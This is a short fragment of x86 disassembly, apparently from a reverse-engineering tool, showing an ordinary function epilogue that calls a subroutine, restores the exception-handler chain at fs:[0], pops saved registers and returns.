call fcn.00483565
mov ecx, dword [ebp - 0xc]
add esp, 4
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret